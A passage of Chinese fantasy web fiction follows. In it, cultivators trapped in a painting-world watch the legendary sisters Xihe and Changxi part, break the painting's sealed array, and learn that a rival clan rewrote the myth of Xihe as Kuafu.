“这只是一个小目标。”羲和说,“我们有很多事情做。” “什么事情?” “不知道,还没打败姬有熊呢。” 石映心淡淡地看着她,就算能够照心照情绪,但依旧搞不懂她心里的想法;她想到之前临近出战,羲和问常曦此战的结果,常曦不说,姬滢说了她又不信……那么,现在的答案是如何呢? “如果再给你一次机会,”石映心问,“你明知此战会败,大酋长会死,你还会和姬有熊打架吗?” “不打怎么知道输还是赢。” “我说你已经知道了。” 羲和憋着嘴看着她:“大酋长不会避战的!” “我问你。” 羲和大声说:“我誓死跟随大酋长!” “不避战大酋长就会死。” 羲和瞪大眼睛盯着她,眼中有“你好讨厌”的意思,但她的直脑筋让她不会回避问题,别人问了她就要想方设法的问自己,然后寻找一个内心的答案:“我……我同大酋长一样。” “可是……” “输又怎么样?死又如何!”羲和哇哇大叫起来,“勇者较量的胜败何来屈辱!赢了我们,对姬有熊来说是最大的荣誉!就算要输一百回,我也会随大酋长重来一百零一回!” 这声音震荡着水面哗啦啦掀起波浪,从天而降的雨水也被冲开,树木枝叶都发起抖来。 羲和喘了一口气,重新恢复了平静,莫名心情好了很多,朝石映心扬起一个笑道:“没错,不就是重来?常曦说了,不服输的人永远不会输。待我重振我族,东山再起,定要夺回属于我们的一切!哈哈哈哈!” 这人自己给自己哄好了,哈哈大笑着吃了几口雨水,呸掉飘进嘴巴里的落叶,拍拍石映心的肩膀就大摇大摆地回去了。 被拍得肩膀下沉的石映心:…… 好莫名其妙一人……不过这样的情绪对石映心来说还挺稀奇。 羲和确实拥有比任何人都要粗暴的野心,似乎和胜败有关,却又不全然是这般;她拥有一种石映心无法描述的冲劲,谁也不知道这是什么,只见它永无止境地迸发着…… 如果胜利能代表,那就去追寻胜利;如果太阳能代表,那就去追寻太阳。 这不是凡人能拥有的意志。 石映心想。 第108章 计划赶不上变化。 和羲和交谈后,石映心本想再去找常曦,但雨声中忽然传来一阵骚乱,是在附近巡视看守的族人来报,说前方怀疑有人埋伏,规模还不小。 首领司命和黎巨紧急进行了商讨,这会也顾不上偷溜进来旁听的石映心和明易。羲和说:“怎么回事?姬水人只是与我们抢占地盘,并不会行赶尽杀绝之事!姬有熊也不会以众暴寡。” 黎巨点点头表示赞同:“再说这会她们应是忙着占领土地、与其他部落的人交涉……怎么可能有时间埋伏我们?” 常曦淡定道:“我们接连走了几日,已到了各方势力要塞之地。姬水人尽数去往东方与我们交战,此处还剩下谁?” 羲和猛然想起:“你是说那些留下来的异族男子!?” 常曦点点头:“我猜想……应是原先同我们部落有交往的异族人,提前探测过我们战败后可能会逃离的路径,特地联合了其他异族组成一支队伍,就等着守株待兔,趁我们战后伤亡惨重时落井下石、擒拿俘虏我们。” “贱人!”黎巨大骂道,“这些恃强凌弱、弱肉强食,偷鸡摸狗的卑鄙男人!首领,让我带人去将他们杀个干净!” “别傻了。”羲和严肃道,“你出去瞅瞅能找到几个身上没带伤的?就是我也元气大伤,只怕不能一招杀数十人,护你们周全。更何况敌人在暗我在明,他们又人多势众,怕是不好对付。” 黎巨叹了口气:“那怎么办?” 羲和说:“这些卑鄙小人不过是趁人之危,我们不能着了他们的道,定要保全族人性命,还等着日后东山再起同姬有熊宣战!到时歼灭这些小鱼小虾还不容易?” “对!”黎巨呸了一声,“这些贱人压根不配做我们的对手!” 又问:“现下该如何?” 常曦拿来放在边上的青铜器皿,稳重靠谱道:“此中还余有月亮神力,可做三日迷雾庇护前行。不过他们定已猜到我们会南下,这三日阴雨连绵,族人们又身负重伤,只怕走不出他们的埋伏。” “常曦说得有理。”羲和的眉头紧蹙,她深呼一口气道,“既然如此,我们便转向去……姬水。” 黎巨一愣:“姬水?去姬有熊的地盘?” “是。”羲和点头道,“他们定想不到我们会转去姬水。” 黎巨挠挠头:“说的也是……不过我们虽说是战败方,算起来也杀了对方不少人,姬水人就是不赶尽杀绝,也不见得乐意接纳我们……” 三人沉默了一下,羲和一拍大腿道:“不乐意又如何,反正接纳了就是,活着再说!” 这时候常曦发言:“如今留在姬水的姬水人多数没去前线迎战,她们不见得认识你们,可以暂且改名换姓,就说我们是从南蛮来的。” 黎巨点点头:“这是个好办法!” 一直安安静静旁听的石映心忽然说:“但是有一个问题。” 大伙看向她,又听常曦道:“确实有一个问题。” 这二人在打什么哑谜呢:“什么问题?” 石映心指向羲和:“她太大只了,怕是连你们招来的迷雾也遮挡不了羲和的身形。再说大酋长和羲和都是拥有天生神力的神人,异于常人的形象定是人尽皆知,瞒不过姬水人的。” 常曦颔首:“确实是这样。” 黎巨:“那怎么办?” 羲和挠挠头,似乎是在思考:“不如我们兵分两路,黎巨你带着族人们去姬水,我一人南下,如此还能帮你们转移那些奸人的注意力。” 石映心乜她:“你不要命了。” 羲和拍拍胸膛:“我不会死!” 最后大家联合否决了她这个简单粗暴又愚蠢的主意。 常曦沉吟片刻,看向姐姐道:“姐姐,只要将你身上的神力卸去大半,你就能变成我们这般模样。” 石映心和明易纷纷诧异地看向她。 羲和也是瞪大了眼睛,惊悚地说:“这怎么行?若我没了神力,如何带兵作战?如何护族人周全?” 常曦沉稳道:“我们现下是在逃亡,不需要你带兵作战。等到了合适时机,我会想办法将神力还给你。” 羲和自然也明白当今的局势,泄了气道:“怎么还?” 常曦拿来放在边上的青铜器皿:“先将你的神力存入其中,届时再借月亮复还。” 石映心瞅羲和纠结而茫然的神色,发现她根本不知道常曦在说什么,或者说对她的办法没有什么具体的头绪,但大概是抱着对妹妹的信任,或者说对她话中提到的“月亮”的信任,她最后还是接受了这个提议。 羲和变小之后同黎巨差不多强壮,不过比她先前来说确实是不够看的,她自己也很不适应,抱着原先喝水的陶水缸,瞅着郁郁寡欢,仿佛想一头扎进去自闭。 留得青山在,不愁没柴烧。 常曦这么安慰姐姐。 师兄妹二人回去同伙伴们说了此事。黎为夏听罢,喃喃道:“巨人变小……这确实就是我们先祖的故事……” 曾换月摸摸下巴,努力思考这对姐妹未来的走向:“你们琼华宫的方位应是在如今的南蛮,看来羲和最后还是南下了。” 姬滢抬起眼:“常曦呢?” 曾换月叹了口气:“这么看是留在了姬水。” 大伙默了默。似乎都在疑惑为什么,但从她们这些“后人”的角度看,隐约也有些察觉。只是…… “奇怪,这是什么!” 曾换月的一声惊呼唤回了屋里几人的思绪,只见周遭的一切开始消逝变换,无数的物件色彩糅杂在一起,仿佛被无形的大手挤压着,像是她们传入画中时的景色。几人不敢轻举妄动,稳稳站定着望着彼此。 “这应是阵法中的传送空间。”明易这么判断。 “呼……那就好,不知道又要把我们传送到哪里去?”黎为夏松了口气。 曾换月抱着师姐的胳膊:“我就说嘛,不可能让我们真的花这么多时间就跟着羲和她们逃亡……也许是去下一个关键剧情点!” 大家也都这么觉得。 果不其然,等时空再次稳定时,周遭就变成了一个陌生又熟悉的场景,五人抬头望去,看见高高的伞状的屋顶。屋里有一些收纳的柜子和架子,上头放着草药、陶罐,瓜果等,满满当当的……好眼熟。 曾换月瞪大眼睛观察:“这不是常曦她们的小屋子吗?” 石映心道:“不完全一样。” 她们打开房门,看见宽阔的祭祀广场,广场中间摆着一具青铜鼎,青铜鼎后边有一个高高的台子,呈圆形走势的房屋和道路,偶尔路过的背着弓箭或是拿着铜矛的族人…… “她们在新的地方安家了。”明易说。 一如往常。 曾换月左右看了看:“奇怪,怎么不见常曦和羲和?” 姬滢:“找个族人问问?” 于是她们往远远瞅见的一个族人走去。黎为夏抬头望着一成不变的天空,有些感慨:“这里和那里没有多大区别,不知道时间过去了多久?我们又是什么身份?” 明易:“阵法会安排好。” 找到一位族人问过,原来此时距离她们迁徙已经过去了一年,羲和正带领族人外出射猎;常曦行踪不定,不知去哪了。她们只好往回走,又回到了刚来的屋子里瞎打量。 石映心看见画在门上的图腾,中间的牛头不见了,倒三角还在,只是整体变成了的月亮阴晴圆缺的样式。大师兄见她看得出神,走来道:“应是为了融入姬水人这边的风俗。” 姬滢在边上幽幽道:“这幅图腾我在古籍上见过,我们天机阁如今刻在令牌上的图腾便是从这一样式演变而来的。” 明易说:“她们来到这里换上这幅图腾,看来姬水人也是崇祀月亮的。” “但代表羲和的牛头不见了。”石映心道。 “没办法,”明易微微摇头,“羲和部落的图腾想来也广为人知。她们如今隐姓埋名留在这,还是周全些为好。” 石映心轻轻地颔首。 常曦还没回来,倒是羲和先回来了,她有些气喘吁吁的,身上还沾了些兽血,一进门就把背的弓箭和铜矛往边上的篓子里一放,来不及理会屋里的几人,先是牛饮了一罐水。 “唉!”喝完水后的这声像是叹息像是放松,这时候她才和屋里几人说话,“你们来了啊。”很是熟络的语气。 五人当然是点点头了。 羲和大刀阔斧地往地毯上一坐,又是一声长叹气。 曾换月很有眼力色地问:“怎么了羲和?唉声叹气的。” 羲和:“还不就是那件事!” “什么事啊?”曾换月嘿嘿,“最近我也挺忙的,事儿太多了忙得我脑子乱,你就直白地说了呗?” 羲和于是挠挠头道:“就是我要南下的事啊。常曦还是不松口。” 南下…… 石映心:“你去南蛮做什么?” 羲和皱眉道:“这里是姬水人的地盘,她们已有一套很成熟稳定的规矩,我无法施展拳脚!总不能乱杀无辜搅乱局势吧?这是那些奸人的做派!所以我只能去南蛮;还有大酋长……这里迟迟没有大酋长的消息,也许她在南蛮等我……” 石映心:“大酋长已经死了一年了。” “对,一年了。”羲和点点头,“也许她早就复活在某处等我……” 石映心:OO? 她是这个意思吗? 明易望向被撑开的窗子,屋外阳光和煦,一片美好:“难道你想让你的族人再次放弃安定的生活,随你颠沛流离、重头开始?” 第109章 羲和摇摇头:“不。就我和黎巨,还有几个志同道合的族人去,大部分人会随常曦留在这里。说实话,姬水这边挺好的,这里的月亮也很好,常曦能感到很充沛的神力。” 姬滢眉头一皱:“你要和常曦分别?” “我也不想。”羲和苦着脸说,“但我没办法,我一定要去找大酋长。” 石映心:“你没把握找到。” 羲和没有否认:“没把握是一回事,找不找是一回事。” 很快又握着拳头,坚定道:“不过我一定会找到的!” 石映心看出她十头牛都拉不回来的决心,闭嘴不说话了。 这时候屋外有人在喊羲和出去分肉,羲和应了一声,起身离开了屋子。她一走,五人就嘀嘀咕咕起来。 曾换月撇了下嘴道:“真搞不懂羲和是怎么想的,如果叫我离开归壹派,去找一个存在与否都能确定的人……先不说是不是无用功吧,反正我是不乐意的。而且这会又不像我们那时候,走了之后可能就永远见不着了!” 明易摇摇头道:“你代入的要找的对象是羲和,自然不愿意;如果要找到人是师父或者你师姐呢?” “这……”曾换月瞪大眼睛,张了张嘴吃了几个空鸡蛋,看看师姐又看看师兄,又把嘴巴瘪了起来,“世上哪有这样的难题?” “羲和就遇见了。”明易说,“大酋长对她来说很重要。” 曾换月叹了口气道:“我知道,但是我一代入常曦的视角就更难过了!亲姐姐居然为了别人要离开我,我……师姐!” 她忽然抓住石映心道:“师姐,你不会同羲和一样吧?” 石映心摇摇头说不会。 “你不能对我这么狠心啊!” “……不会的。” 黎为夏挠挠脸,面色有些为难道:“唉,可是羲和不去南蛮,就不会再有我们琼华宫了吧?” 姬滢淡定道:“这里只是画中世界。” 黎为夏:“是哦!” 明易颔首道:“既然已经改变不了结局,我们便不必参与她们二人的决策,顺其自然吧。” 大家觉得也该如此,明易又提醒道:“故事应临近尾声,还是要注意阵魂的动向。” 什么动向,还是摸不着头脑。 黄昏时候,石映心在屋门口瞧见常曦回来了。她背对着夕阳,周身发着橙红的光辉,手上捧着青铜器皿,见她稳当的动作,里头应该盛满了水。这场景让石映心想到上一回,似乎丝毫未变。 今晚是月圆拜月吗? 二人互相颔首当做问好,并没多说。进了屋里后,她们主动提起了羲和要南下的事,常曦一边把手上的东西放稳当,一边不紧不慢地说:“嗯,今晚姐姐就要走了。” 五人皆是一愣,方才羲和的话里完全不是这个意思啊! 曾换月扯了下嘴角:“那个,羲和本人知道她今晚要走吗?” “不知道,”常曦摇摇头,“今晚我要将姐姐的神力复还她,到时她恢复了先前的模样,就不便从姬水离开,我会启动阵法将她送去大酋长身边。而阵法只能在月圆之夜开启。” “什么?” 槽点太多,五人听了都是发愣。黎为夏张了张嘴:“既然你已经决定今晚要送她走,为什么现在还不说?” 常曦漠然道:“我在等姐姐临时反悔。” 五人:…… 姬滢的眉头不自觉皱起来:“什么阵法能送羲和去大酋长身边?” 她心中猜测是与仙门驿站一类的传送阵法,但问题是这类阵法只能指定“地点”,而不能指定“未知事物所在的未知地点”,后者太异想天开了;且不说大酋长现在是否真的“存在”,如果不在呢?那羲和会去哪? 常曦转过头来,平静的眼神望向她: “偷天神阵。” 偷天神阵。 大伙的目光集中在姬滢身上。她这会表情很麻木,看似淡定到波澜不惊,其实真是不知所措了。 原来此地便是几千年以前的天机阁;原来偷天神阵出自她们一直崇祀的月神常曦之手;原来此阵最开始的目的是为了羲和。 石映心问:“如果大酋长根本没有复活呢?” 常曦又看向她:“月亮会指引姐姐去她该去的地方。” “你姐姐就想去找大酋长,”曾换月撇嘴道,“可除了你身边,除了大酋长身边,她还有什么该去的地方?” 常曦微微摇头,垂眸看向手中的青铜器皿,盖子被打开了,她对水面中的自己说:“她离开不是为了大酋长,而是想拥有一块自己打下的领地。也许她自己也不明白,但我知道……她要做首领,要做真正的、拥有神力的羲和。” “不管是大酋长还是我,不过是她在成为羲和的路上的同行人罢了。如今分道扬镳,姐姐要自己走下去了。” 曾换月怔然地望着她,耳边传来姬滢的声音:“即使你知道……这一去便是永别?” “亘古不变的只有日月,只要世上还有太阳,还有月亮,我和姐姐便会重逢。” 常曦轻轻把盖子合上,脸上倒映的水光悄然不见。 总而言之,言而总之,这么回事。 月色降临后,祭祀广场上聚集了所有族人,这似曾相识的场景与上一回相比好像并无多少区别。对羲和等人的离去,她们似乎有些不舍和忧伤,但更多的是迫不及待和崇拜。 首领要去开辟新的领地! 人人都这么说,眼中已经看见美好的新家园,话里话外是对未来的无限畅想。 曾换月听了一些族人们的议论后感叹道:“还以为她们已经安居于此了,原来只是瞧着安分,心里还想折腾呢!” 黎为夏握拳一挥道:“这便是先祖们身上流淌的好战血液!若没有这样的品性,也不会有我们后来的琼华宫了。” 姬滢点头表示赞同。 她们看向广场中央,常曦正施法在地上画阵法的最后几笔,羲和等人在边上看着,身上都背着临时收拾出来的简易行囊。 曾换月和姬滢对偷天神阵都十分好奇,二人硬着头皮往前边挤,最后干脆来到了边上光明正大地绕着阵法观察;常曦头也不抬地忙着继续绘制,并不在意她们。 “太复杂了。”姬滢微微摇头,“记不下来。” “看不懂啊。”曾换月感到晕厥,“我连看到哪里都忘了!” 二人又彼此安慰:“算了,毕竟是偷天神阵。” 随着最后一笔落下,偷天神阵大功告成,它完整地暴露在月亮之下,纷繁复杂的图样躺在那沐浴着月色,发着淡淡矜贵的微光,静谧地等待着首次的使命。 进阵法之前,羲和先是同族人们宣告了心中大志,总之是说等她开辟出一块比姬水这更肥沃更富饶更广阔的土地,届时全族迁徙而去,不必再过这样寄人篱下的日子。 什么寄人篱下,怎么还有些惨嘞。其实她们听其他族人闲谈,说姬水人很友好,这里资源充沛,生活很平静安乐。 只是这不是羲和想要的。 黎巨已经站在了阵法中,她手中拿着一面旗帜,上头画着她们最开始的牛头倒三角图腾;今夜有风,吹得旗面张开,月光照临下,广场上的每一个族人都能瞧见她们过往的印记。 羲和回头瞥了眼旗帜,转过头来朝妹妹说道:“常曦,我不会让你等太久,很快就会回来接你。” 常曦点点头道:“嗯。对了,神力归还之后,一开始会不适应,需要磨合一段时日才能恢复往日模样。到时你慢慢摸索,切莫着急。” “我明白。”羲和又道:“我走之后,部落里的族人都交给你了,其实我很放心。常曦,你做得一直比我好。” 常曦摇摇头:“我做不到姐姐你能做的事。” 羲和:“我也做不到你能做的事。” 二人相视而笑。常曦道:“不管如何,你始终是羲和部落的首领,大家都会等你回来。” “我一定会回来的。”羲和想,不管以何种方式,“想我的时候你就看看太阳……还是看月亮吧,我们的太阳过于耀眼了。” 常曦轻声笑道:“好。” 姐妹二人相拥,分离。她们竟然没流一滴眼泪,也许是因为心中对再次相遇的可能无比坚定。 羲和站到阵法中央,底下的族人开始雀跃;她们习惯离别,习惯失去,因此也习惯迎接希望,习惯重头再来。 欢呼声中,常曦打开青铜器皿,先是将其中封存的神力归还于羲和;后者只是捏了捏拳头,并未急着发作。 常曦抬头望月,月色将她的脸照得很冷静,她轻松地拈诀,地上的阵法登时华光大作,将期间的几道人影照得影影绰绰。这华光与月光十分相似,二者交互交融时竟分不出多少区别,仿佛地上长出了一个月亮。 姬滢出神地望着这一瞬,望着那背对她施法的身影。这时候她无比深刻地意识到,眼前的人正是她们生来崇祀的月神…… 常曦。 偷天神阵光芒万丈,原先还能瞧见些轮廓的羲和等人,这会只留下难以捕捉的瞬影了,华光直冲天际,逐渐覆盖了半个月亮,像是要将她们送去月亮之上;常曦始终站在那,合上双眼定住手诀,一副脱离世俗的超然模样。 蓬勃的灵气飘逸在空中,让无数双眼眸流光溢彩。在如此神奇的情境之中,一切已然蓄势待发,只待神阵显灵将羲和往她的太阳送去的那一刻。 这一刻—— 飞剑划破月光,如东君射天狼一般的疾如雷电、势如破竹,只听“铮”的一声,惊天动地的剑鸣从华光之间、阵法中央传来—— 那是帝血剑。 第110章 石映心一直记着大师兄说的要找阵眼的事。 但她一个单纯的剑修,根本不懂阵法,自然也不懂阵眼;好在人还是比较聪明的,想到阵眼定是阵法集中灵气最强势之处,于是在看到那照破天际的偷天神阵时……心里就有了个大胆的想法。 大概的心路历程: 这阵法瞧着好厉害——姬滢说过偷天神阵无所不能——那应该没什么比这神阵更厉害的了——偷天神阵就是阵眼。 不过几瞬的思量,毕竟偷天神阵不等人啊,也就给她这个干脆利落不犹豫的小剑修给逮着了。 帝血剑飞出去时,大师兄小师妹震惊的眼神她现在还有印象,一个应该在问“为何一声招呼不打”,一个似乎在说 “我的天奶我的师姐我的天奶我的师姐”;至于看阵法看得投入的姬滢和黎为夏二人……她没在意。 好了,总之是这么回事吧! 闪瞎人的光芒之中,她似乎瞅见常曦朝她望来,但下一瞬只觉眼前一白——是闯祸还是中彩,什么都瞧不见了。 天地白茫茫。 石映心感受到自己,下意识挪动身子,却听见脚下传来哗啦的水声。她低头望去,细碎的波浪缓缓荡开眼前的景色……她在一面湖水中? 周遭依旧是茫茫一片,前方有一道迷雾散开的水路仿佛在指引着方向。石映心一边踏着水往前走,一边伸手抓了抓附近的白雾,可抓不住也挥不开,眯着眼睛也瞧不见里头有什么。 算了,走过去看看。 往前没走多久,就见前方似乎有陆地的边缘,应是一座小湖心岛,雾色中不知上面有什么。但当她的脚步一踏入岛中,此中景色便一览无余:这里是……常曦和羲和的家? 有些奇怪,但撤退是不可能撤退的。屋里没点灯,有些隐约的昏暗;石映心随意转了转,走到被支开的窗户边,顺着洒在屋内的月光往外看去,瞅见了挂在空中的大月亮,月亮之下是安静的祭祀广场。 很熟悉的景色,她到底是在哪? 石映心瞅见边上关着的门,打算出去看看,想着也许能碰见个人。可当她离门只有两步之遥时,门静悄悄地从屋外被打开了,没有一些先兆的脚步声。 出现在门后的正是常曦,仿佛才从哪里回来,手上捧着青铜器皿,抬起眼来和她对视着,过了一会又点了点头,算是和她打招呼;接着便进了屋,关了门。 石映心瞅了瞅门,又瞅了瞅擦肩而过的常曦,开口问:“这里是哪里?” 常曦说:“不重要。” “……哦,那我如何出去?” “你很快便能出去。”常曦道,“只是必须来这一趟。” 石映心:“为什么?” “因为我在等你。”常曦站在那,目光幽幽地望着她,“我等了你好久。” 石映心:OO? 她左看看右看看,确定这里只有她一个人不错,但还是指了指自己问:“你在等我?” “是。” “等我做什么?”石映心顿了顿,“你怪我破坏了你的偷天神阵?” 常曦听罢居然笑了一声,摇摇头道:“我不怪你,我知道你们要找什么。偷天神阵的确是这画中世界的阵眼,你确实聪明,我仅会给你们一次机会见到它……也许这便是天意注定。” 等会,疑点有些多。 石映心一个个地问:“你怎么知道我们要找什么?” 常曦:“这幅画出自我手,我自然知道。” 二问:“既然你知道我们的来意,先前的一切都算什么?陪我们做戏?” 常曦:“是也不是。” 三问:“如果偷天神阵没有毁坏,接下来会发生什么?” 常曦扯了个有些冷意的笑:“我不会对你们做什么,不过……你们也阻止不了我做什么。” 翻译:乱杀。 石映心听懂了,这才想起外头的童嘉文呢,四问:“……哦,还有,为什么要杀童家人?” “如今他们占领的皇室,曾是我们羲和部落的领地;后来的事你也知道了,战败之后,东夷便交予姬有熊统领……”她一边说着,一边静静看着石映心的脸色,“之后我们搬到姬水,姐姐又去了南蛮,收复领地一事便遥遥无期。” “不过除了当初弃地而走的我们羲和部落外,其实部分大酋长麾下的氏族先民依旧留在了东夷;因姬有熊为人正直、亲仁善邻,又打着大酋长的名义安抚民心,威慑天下,东夷民间对大酋长的盛名越发崇敬……” “姬有熊并未因胜败而污蔑销毁我们氏族的名誉,而是光明磊落地让大酋长的盛誉与她并驱共治天下,输给像她这样的人并不屈辱,东夷之地交予她也算是死而无怨。” “没想到,”话说到这,她忽地冷哼一声,“时过境迁,今非昔比,东夷竟变成了那些异族奸人的领地。” 异族奸人?石映心反应过来,她是在说童嘉文……不,应是那些“且”部落氏族的人。 “我留存一缕残念于画中,本是为了与姐姐重逢。夜以继日地在画中修炼续阵、不敢懈怠;转眼间千年过去,好不容易得以离开画阵,谁料想外头竟是这般景况?” 她本是搭在桌上的拳头慢慢地握紧:“像他们这般惯会使些阴险狡诈、卑劣手段的小人,先是害我与姐姐分离,后不知又耍了什么阴招,竟夺去了姬水人的东夷,还有脸在此称帝。” “甚至……”又听她说,“为了壮大他们的声誉,厚颜无耻地张冠李戴,不仅篡改了我姐姐的名字,甚至将她归于且氏族,竟变成一个男子!还有大酋长和姬有熊……若不是她们二人声名远播,只怕连名字也要随性别更改。” “他们怎么敢?他们怎么配?”她冷笑一声,“竟妄想譬如积薪、后来居上;可老天无眼,真让他们成功了。如今世间对这些讹言习非成是、积重难反,大酋长、姐姐与姬有熊的丰功伟绩,都成了他们的荣誉!” 常曦冷飕飕地挪眼看向她:“你叫我如何不恨?” 这几日相处下来,石映心从未见过她这般模样,其实常曦依旧是冷静的,甚至说话声音也不激动,只是有些隐约的颤抖罢了;这样冷漠的声线压住了她内里的澎湃汹涌,石映心能深深地感到,恨意将她心中的月亮蒙上了厚厚的冰雪。 石映心也因此浑身发冷,但她还算镇定道:“你也说了,如今习非成是、积重难反,仅凭你这一缕残念,如何让被篡改的真相归位?杀几个皇帝至多是宣泄,并不能如何。” “你说的不错。”常曦的嘴角似乎很轻微地扯动了一下,“如今你破了阵法,我更是无可奈何了。” “……嗯,”石映心暂时没听出嘲讽的意思,因此有些茫然,“你可以怪我,不过事已至此,你奈何不了我。” “我怎么会怪你?”她忽然轻笑一声,声音又恢复了往日柔和漠然的平静,“我等你太久了,石映心。” 这下又回到一开始的问题,石映心不解地问:“你等我做什么?你知道我会来?” 常曦微微摇头:“我原先不知来的是你,但你一来我便知道了,我苦苦等待千年的……原来是你这面小镜子。” 石映心一愣:“你怎么知道?” 常曦笑道:“后人奉我为月神,难道我不该有这样的本事?” 石映心心说那倒也是:“你等我做什么?” 瞧她有些警惕而好奇的模样,常曦朝她招招手:“过来。” 换个没有好奇心又胆小的大概就不去了,可好奇心旺盛又胆子大的石映心就这么走了过去,带着一脸“我来了你快说”的表情。 常曦侧过身子,露出后边的青铜器皿:“打开看看,里面有你要的答案。” 石映心的手抬起来……又放了下去:“这东西我见你一直拿在手中,它究竟是什么?” “我先前也同你说过了,这是我占月卜卦的宝器。” 镜灵居然谨慎道:“你说仔细些,我再考虑要不要打开。” 常曦微笑着望她,依旧是不紧不慢的模样,仿佛这完全不是个陷阱:“这是件举世无双的宝器,可沟通鬼神,跨越时空。用它望见的星月,能绘成惊天动地的阵法;借它赐予的庇护,是世间最纯净的日月灵气……” “它来自遥远的万物伊始,比所有生灵都要长久,得到了世上最多的日月照拂、天地庇佑;没有什么能销毁它,即使死去也会重生,无比接近永恒……它便是这样一件神物。” “这么厉害。”石映心 微微抬眉,忽然觉得常曦有些夸大其词,很有诓骗的嫌疑,“你拿它来装水。” 常曦失笑道:“水便是月光。这仅是我问月的方式罢了。” 石映心:“哦。” “你打开看看。” “……先前看过了。” “这次是不同的。” “……”石映心的余光注意着她,“若我不呢?” 常曦冷漠道:“你便永远出不去,杀了我也没用。” 石映心眉头微蹙,有些反应过来:“我何时陷入了你的陷阱?” 谁知常曦一听这话,竟呵呵笑了起来,此情此景这下,石映心不得不疑惑地看向她:“你笑什么?” 常曦的手轻轻搭上她的肩膀,传来如月光般冰冷的寒意:“世人唯一逃不过、却又自甘沉沦的陷阱只有一个,那便是命运。石映心,打开它,打开你的命运。” 肩上传来的寒意渗透到了指尖,石映心捏着青铜盖上的鸟头盖珠将它打开。 器皿之中,还是满满当当的水,清亮的水光在她平静的脸上晃动,游弋在她的双眸之中,并不晃眼。 “只要世上还有太阳,还有月亮,”她听见身后的神说,“命运的陷阱便永远不会停止。终有一天……” 终有一天? 石映心垂着眼睛,对望着水面上显出的面孔,脸上深深浅浅地倒映着器皿中神秘的图腾,她依旧一窍不通。 只认识这是她的脸。 “终有一天……她会回来。” 月神坚定的话音带着镜灵的意识消散在如水月光之中。【】 110-120 第111章 她是谁? 是羲和吗?还是传说能死后重生的大酋长? 那站在祭祀广场中举头望月的背影是谁?走近瞧一瞧,依稀听见她的呢喃:“姐姐……” 是常曦。她要问问常曦,她说的她究竟是…… “师姐!” 石映心猛然惊醒,恍惚地瞧见雕花镂空的床顶,有什么在轻轻擦着她的额头,转头一看,是小师妹担忧的脸:“师姐,你做噩梦了吗?怎么流了这么多的汗啊。大师兄让我不要叫醒你,但是……” 石映心坐起来:“这是哪里?” “哦……我们已经从画中出来了,这里是天机阁。” 出来了就好。石映心松了口气。 “师姐你没事吧?”曾换月打量着她的脸色,见她额头冒着冷汗,脸色也有些苍白,关心道,“你做噩梦了吗?” 石映心卡顿着摇了摇头:“没有……” “那你为何一副受惊的脸色?很少见你这般模样。” 石映心也不知道啊,她惘惘地擦了擦脸上的汗水,擦了一手背的汗,坐在那感觉自己的心跳砰砰的,确实像是受惊了;小师妹把她手背的汗给擦干了,又拿帕子擦她的脸,嘀嘀咕咕道:“也没有发烧啊……咦,师姐,你手上的小黑坑不见了。” 她说的小黑坑是在桃林塞蟾蜍那一关时石映心手上被溅到的毒素,石映心闻言一看,确实不见了:“也许毒素已经消散了。” 曾换月松了口气道:“幸好幸好,那蟾蜍的毒对师姐你来说自然不在话下……方才二师兄过来还说,妙望阁主说那桃林塞中的蟾蜍毒得很,说是什么上古时期的毒素,解药难寻,给我俩听得心慌……” 说着说着又不确信起来,重新打量她师姐,除了脸色苍白些没有异样:“师姐你真的没事?” 石映心摇摇头:“没事啊。” 又问:“对了,阵眼……” “说到这个!”说到这个曾换月就兴奋了,笑眯眯道,“还是师姐你聪明!虽然你突然扔剑破阵吓了我和大师兄一跳,但在那之后我们就出来了!原来偷天神阵真是阵眼啊……我还以为要打怪什么的呢,没想到意外地很简单?不过说简单还是多亏了师姐你啦,我也不喜欢打打杀杀的。” 石映心松了口气:“我也只是突发奇想罢了,来不及同你们商量……对了,大师兄呢?” “哦,”曾换月道,“大师兄在帮姬滢她们为启动偷天神阵做准备,现在阵法已破,只差童嘉文身上的诅咒了。” 石映心若有所思:“阵法破了……那幅画呢?” “那幅画?画还好好的呀,妙望阁主说要收起来,但大师兄说要先带回我们门派审查,确定没问题后再给她送过来……阁主很好说话地答应了。” “嗯。”这样处理确实妥当。 “不过……”曾换月挠挠眉毛,脸色有些古怪,“这么看来,画中的巨人就是羲和了。” 石映心颔首:“对,此画应是常曦所作,只有她能在画中布置这么厉害的阵法。” 曾换月嘟囔道:“那明明就是羲和逐日……怎么会变成夸父逐日呢?这个夸父到底是哪来的?” 石映心闻言,恍然想起最后在湖心岛上常曦对她说的那些话,想起她冷静压抑下的恨海愁天:“应是……后人张冠李戴,编撰的。” “嗯?这是怎么回事?” “偷天神阵被破之后,我醒来……”她说到这,看见大师兄和二师兄从门口进来,前者手上拿着几本书,石映心和他们对望了一眼,但没打招呼,只是慢慢地继续说下去。 话毕之后,小师妹震惊地看着她,还没完全回过神来:“常曦说的这些……都是真的吗?难道我从小听闻的故事都是假的?” 石映心只说:“我能感知到常曦没有说谎。” 顾梦真瞠目结舌:“我的天奶……” 这时明易拿起手上的几本书示意道:“这是黎道友的师父寄来的她们琼华宫的古籍,我与在画阵中看过的龟甲对照后,又问过了天机阁藏书阁的长老,确实找到一些相呼应的证据。” 曾换月连忙问学霸大师兄:“什么什么?” 明易道:“我们在画阵中听不懂常曦她们的话音,因字音经过几千年有所变换,再加上各地方言不同,误传也很正常。其实在许久前,‘娥’与‘父’读音很相近,‘夸父’即‘夸娥’,夸父一词极有可能是从‘夸娥’演变而来。” “再往前推,‘夸’与‘羲’的古音应都读‘阿’;‘娥’同‘和’则读‘何’。因此夸娥在古音上便等同于羲和。至于为何后世将‘夸娥’取同音字中的‘夸父’,也许正是映心方才说的原因,是男子为了取而代之,故取‘父’,如此羲和的性别便显然于名中了。” 曾换月张了张嘴:“这简直……这简直狡诈……” “可不是?”顾梦真同款惊讶表情,“就连侍奉羲和日神的琼华宫都不知道她们先祖的故事在幽冥洲传成了这样……完全是改头换面了!” 说到这个,明易也露出无奈的表情:“嗯,妙望阁主得知她们天机阁与琼华宫竟在上古时期有这样的血脉关联……也是惊诧万分。” “那些且氏族的人也太恶心了吧!”曾换月义愤填膺道,“先不说他们是否用正当手段夺得了人家的领土,成王败寇罢了,不论正义;但这样霸占别人功绩和荣誉的行为真叫人不齿!怎么人家姬有熊就能坦坦荡荡地承认大酋长的厉害呢?!” 顾梦真撇嘴:“怪不得常曦想杀人,搁我身上我也忍不了。” 石映心表示赞同:“对常曦来说,天下男人皆是 且氏族部落的人,所以她只杀皇子,不会杀童柔意。” 